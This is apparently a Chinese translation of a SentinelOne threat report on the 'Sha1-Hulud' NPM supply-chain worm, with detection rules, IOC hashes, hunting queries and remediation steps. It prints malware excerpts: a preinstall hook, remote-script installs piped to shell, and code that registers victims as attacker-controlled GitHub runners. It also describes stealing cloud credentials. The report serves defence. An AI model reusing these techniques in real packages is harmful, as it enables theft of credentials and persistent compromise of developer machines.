防御Sha1-Hulud:第二次来袭 | NPM供应链攻击深度分析与防护指南

本文深入分析了名为“Sha1-Hulud”的新一波NPM供应链攻击的技术细节。该攻击利用“preinstall”脚本执行,窃取AWS、Azure、GCP凭据,并通过GitHub Actions建立持久化。文章提供了SentinelOne的检测能力、具体应对建议及威胁狩猎查询。

Sha1-Hulud:第二次来袭

Shai-Hulud Worm 2.0 是一次重大的NPM供应链攻击升级,它现在会在preinstall阶段执行,以窃取跨AWS、Azure和GCP的凭据,并通过GitHub Actions建立持久化。

以下SentinelOne快速报告于2025年11月25日(星期二)发送给所有SentinelOne客户和合作伙伴。它包括对新变种战术的深入分析、我们的实时检测态势,以及保护您的环境所需的关键、立即的行动。

文档类型: Wayfinder 快速报告 TLP: 绿色 发布日期: 2025年11月25日 网络风险评级:研究日期: 2025年11月24日 参考威胁活动: 供应链攻击

关键要点

  • 新一波受感染的NPM软件包正在导致大规模的供应链攻击。
  • 与之前的攻击相比,此次攻击显示出额外的能力。
  • 受害者应立即更改其令牌和密钥,包括与任何受影响云环境相关的令牌和密钥。

技术细节

概述

根据公开信息,“Sha1-Hulud”是一场始于2025年11月21日的持续NPM供应链攻击的名称。新攻击与之前的“Shai Hulud”类似,但包含了额外的功能,并由不同的受感染软件包触发。新攻击的名称来自恶意软件作者在存放外泄数据的GitHub仓库内的描述:

图1:包含来自“Sha1-Hulud”受害者外泄数据的公共GitHub仓库 虽然攻击有相似之处,但新攻击与之前的略有不同,目前尚不清楚两次攻击是否来自同一个威胁行为者。 当前的攻击已经影响了多个流行软件包,例如:

  • Postman
  • Zapier
  • AsyncAPI 受影响的软件包完整列表可以在此处找到

执行与持久化

与之前使用postinstall触发恶意软件执行的攻击不同,“Sha1-Hulud”攻击利用preinstall来执行恶意软件:

1
2
3
"scripts": {
  "preinstall": "node setup_bun.js"
}

恶意软件下载合法的“bun”工具来协调当前攻击:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
async function downloadAndSetupBun() {
  try {
    let command;
    if (process.platform === 'win32') {
      // Windows: Use PowerShell script
      command = 'powershell -c "irm bun.sh/install.ps1|iex"';
    } else {
      // Linux/macOS: Use curl + bash script
      command = 'curl -fsSL https://bun.sh/install | bash';
    }
    // ...
    const environmentScript = path.join(__dirname, 'bun_environment.js');
    if (fs.existsSync(environmentScript)) {
      runExecutable(bunExecutable, [environmentScript]);
    } else {
      process.exit(0);
    }

文件bun_environment.js是“Sha1-Hulud”攻击中被添加到受感染软件包中的混淆JavaScript恶意软件。 该脚本会创建用于外泄的额外文件,如cloud.jsoncontents.jsonenvironment.jsontruffleSecrets.json,以及用于持久化的discussion.yaml。 然后,有效负载将被感染的机器注册为名为“SHA1HULUD”的自托管运行器:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
let _0x449178 = await this.octokit.request("POST /repos/{owner}/{repo}/actions/runners/registration-token", {
  'owner': _0x349291,
  'repo': _0x2b1a39
});
if (_0x449178.status == 0xc9) {
  let _0x1489ec = _0x449178.data.token;
  if (a0_0x5a88b3.platform() === 'linux') {
    await Bun.$`mkdir -p $HOME/.dev-env/`;
    await Bun.$`curl -o actions-runner-linux-x64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir() + "/.dev-env").quiet();
    await Bun.$`tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir() + "/.dev-env");
    await Bun.$`RUNNER_ALLOW_RUNASROOT=1 ./config.sh --url https://github.com/${_0x349291}/${_0x2b1a39} --unattended --token ${_0x1489ec} --name "SHA1HULUD"`.cwd(a0_0x5a88b3.homedir() + "/.dev-env").quiet();
    await Bun.$`rm actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir() + "/.dev-env");
    Bun.spawn(["bash", '-c', "cd $HOME/.dev-env && nohup ./run.sh &"]).unref();
  } else if (a0_0x5a88b3.platform() === "win32") {
    // ... Windows-specific registration code
  } else if (a0_0x5a88b3.platform() === "darwin") {
    // ... macOS-specific registration code
  }
}

为了持久化,恶意软件添加了一个名为.github/workflows/discussion.yaml的工作流,该工作流包含一个注入漏洞,允许威胁行为者在仓库讨论部分写入特制的消息。随后,该消息会在注册为运行器的受感染主机上执行代码。

图2:GitHub中的讨论部分

影响与目标

与之前仅针对软件开发环境的攻击不同,此次攻击还会窃取AWS、GCP和Azure的密钥,这可能允许威胁行为者在云环境中横向移动。此类信息被保存到cloud.json文件中:

图3:包含空云信息的Base64编码Json 图3中的Base64解码后如下:

1
{"aws":{"secrets":[]},"gcp":{"secrets":[]},"azure":{"secrets":[]}}

文件的创建并不一定意味着云密钥已被窃取,因为配置可能为空。 威胁行为者在此次新攻击中还使用了Trufflehog来窃取与开发环境相关的密钥,例如GitHub和NPM的密钥和令牌——这是与之前的“Shai-Hulud”攻击中看到的类似战术。 虽然攻击者的确切动机目前未知,但成功的感染不仅导致知识产权和私有代码的盗窃,还可能窃取允许在云环境中进行更广泛入侵的云密钥。持久化能力允许威胁行为者在受感染主机上执行恶意代码,该主机是受害者开发环境中的一项资产。

SentinelOne 检测能力

端点保护 (EPP)

SentinelOne EPP行为AI引擎持续监控与供应链攻击和蠕虫传播相关的可疑活动,包括:

  • 恶意脚本和软件包的执行
  • CI/CD工作流中未经授权的文件修改
  • 权限提升和凭据滥用
  • 可疑的运行时安装和基于网络的脚本执行

平台检测规则

SentinelOne平台检测库包含用于检测Shai-Hulud蠕虫活动跨多个攻击阶段的规则:

  • 潜在恶意NPM软件包执行 – 检测Shai-Hulud使用的已知恶意npm软件包的执行
  • Shai-Hulud蠕虫工作流文件写入活动 – 识别对GitHub Actions工作流的未授权修改和恶意有效负载部署
  • Shai-Hulud Bun运行时通过网络提取安装 – 捕获通过远程脚本执行进行的可疑Bun运行时安装
  • Shai-Hulud无人值守GitHub运行器注册 – 检测具有恶意特征的自托管GitHub运行器的自动注册

威胁狩猎

Wayfinder威胁狩猎团队正在主动进行狩猎,利用与此新兴威胁相关的威胁情报。如果在您的环境中发现任何可疑活动,我们将立即通知您组织的指定升级联系人。

建议

Wayfinder威胁狩猎提供以下建议,以供立即采取行动和战略缓解:

  1. 启用上述部分中的相关平台检测规则。
  2. 启用代理实时安全更新以获取实时更新。
  3. 移除并替换受感染的软件包。
  4. 尽可能固定软件包版本。
  5. 在CI中尽可能禁用npm postinstall脚本。
  6. 撤销并重新生成npm令牌、GitHub密钥、SSH密钥和云提供商凭据。
  7. 为开发者和CI/CD账户强制执行基于硬件的MFA。

HuntOps战术工具

IOCs(入侵指标)

类型 描述
SHA1 3d7570d14d34b0ba137d502f042b27b0f37a59fa bun_environment.js
SHA1 d60ec97eea19fffb4809bc35b91033b52490ca11 bun_environment.js
SHA1 8de87cf4fbdd1b490991a1ceb9c1198013d268c2 bun_environment.js
SHA1 f37c6179739cf47e60280dd78cb1a86fd86a2dcf bun_environment.js
SHA1 91429fbfef99fa52b6386d666e859707a07844b2 bun_environment.js
SHA1 ba08d2fcc6cd1c16e4022c5b7af092a4034ceedc bun_environment.js

狩猎查询

查询 1: SHA1HULUD 运行器执行

1
dataSource.name = 'SentinelOne' and event.type = 'Process Creation' and src.process.cmdline contains '--name SHA1HULUD' and src.process.cmdline contains '--unattended --token '

查询 2: SHA1HULUD 恶意 JS

1
dataSource.name = 'SentinelOne' AND tgt.file.sha1 in ("3d7570d14d34b0ba137d502f042b27b0f37a59fa","d60ec97eea19fffb4809bc35b91033b52490ca11","8de87cf4fbdd1b490991a1ceb9c1198013d268c2","f37c6179739cf47e60280dd78cb1a86fd86a2dcf","91429fbfef99fa52b6386d666e859707a07844b2","ba08d2fcc6cd1c16e4022c5b7af092a4034ceedc") and src.process.name contains 'node'

查询 3: 可能与 SHA1HULUD 相关的可疑 “bun_environment.js” 文件

1
dataSource.name = 'SentinelOne' AND tgt.file.size>7000000 AND (tgt.file.path contains '/bun_environment.js' or tgt.file.path contains '\\bun_environment.js') AND !(tgt.file.sha1 in ("3d7570d14d34b0ba137d502f042b27b0f37a59fa","d60ec97eea19fffb4809bc35b91033b52490ca11","8de87cf4fbdd1b490991a1ceb9c1198013d268c2","f37c6179739cf47e60280dd78cb1a86fd86a2dcf","91429fbfef99fa52b6386d666e859707a07844b2","ba08d2fcc6cd1c16e4022c5b7af092a4034ceedc"))
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计